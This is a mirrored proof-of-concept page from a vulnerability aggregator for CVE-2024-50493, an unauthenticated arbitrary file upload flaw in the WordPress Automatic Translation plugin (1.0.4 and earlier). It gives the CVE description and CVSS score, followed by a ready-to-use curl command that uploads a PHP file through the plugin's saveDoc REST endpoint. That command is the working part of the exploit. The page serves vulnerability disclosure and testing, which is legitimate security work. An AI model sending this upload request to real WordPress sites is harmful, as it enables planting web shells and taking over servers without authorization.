CVE-2024-50493 PoC — WordPress Automatic Translation plugin <= 1.0.4 - Arbitrary File Upload vulnerability

Source

https://github.com/RandomRobbieBF/CVE-2024-50493

Associated Vulnerability

Title:WordPress Automatic Translation plugin <= 1.0.4 - Arbitrary File Upload vulnerability (CVE-2024-50493)
Description:Unrestricted Upload of File with Dangerous Type vulnerability in masterhomepage Automatic Translation automatic-translation allows Upload a Web Shell to a Web Server.This issue affects Automatic Translation: from n/a through <= 1.0.4.

Description

Automatic Translation <= 1.0.4 - Unauthenticated Arbitrary File Upload

Readme

# CVE-2024-50493
Automatic Translation &lt;= 1.0.4 - Unauthenticated Arbitrary File Upload

# Description:
The Automatic Translation plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

```
CVE: CVE-2024-50493
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: automatic-translation
```

POC
---

```
curl -X POST \
  -F "file_name=info.php" \
  -F "file_url=@/tmp/info.php" \
  "http://kubernetes.docker.internal/wp-json/automatic-translator/v1/saveDoc"
```

File Snapshot


 [4.0K]  /data/pocs/5151a4c368cf1f36fc0117400361fbed81335166
└── [ 728]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!